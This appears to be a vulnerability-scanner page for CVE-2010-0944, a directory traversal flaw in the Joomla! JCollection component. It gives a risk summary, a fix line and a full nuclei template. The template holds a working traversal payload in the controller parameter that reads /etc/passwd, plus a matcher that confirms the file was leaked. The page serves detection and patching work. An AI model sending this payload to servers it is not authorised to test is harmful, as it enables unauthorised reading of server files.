Joomla! Component com_jcollection - Directory Traversal

mediumseverity

5CVSS score

14%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server.

Fix

Apply all relevant security patches and product upgrades.

How to confirm it

Send: GET {{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2010-0944 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2010-0944

info:
  name: Joomla! Component com_jcollection - Directory Traversal
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JCollection (com_jcollection) component for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server.
  remediation: Apply all relevant security patches and product upgrades.
  reference:
    - https://www.exploit-db.com/exploits/11088
    - https://nvd.nist.gov/vuln/detail/CVE-2010-0944
    - http://packetstormsecurity.org/1001-exploits/joomlajcollection-traversal.txt
    - http://www.exploit-db.com/exploits/11088
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/55514
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-0944
    cwe-id: CWE-22
    epss-score: 0.14041
    epss-percentile: 0.96589
    cpe: cpe:2.3:a:thorsten_riess:com_jcollection:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: thorsten_riess
    product: com_jcollection
  tags: cve2010,cve,joomla,lfi,edb,packetstorm,thorsten_riess,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_jcollection&controller=../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

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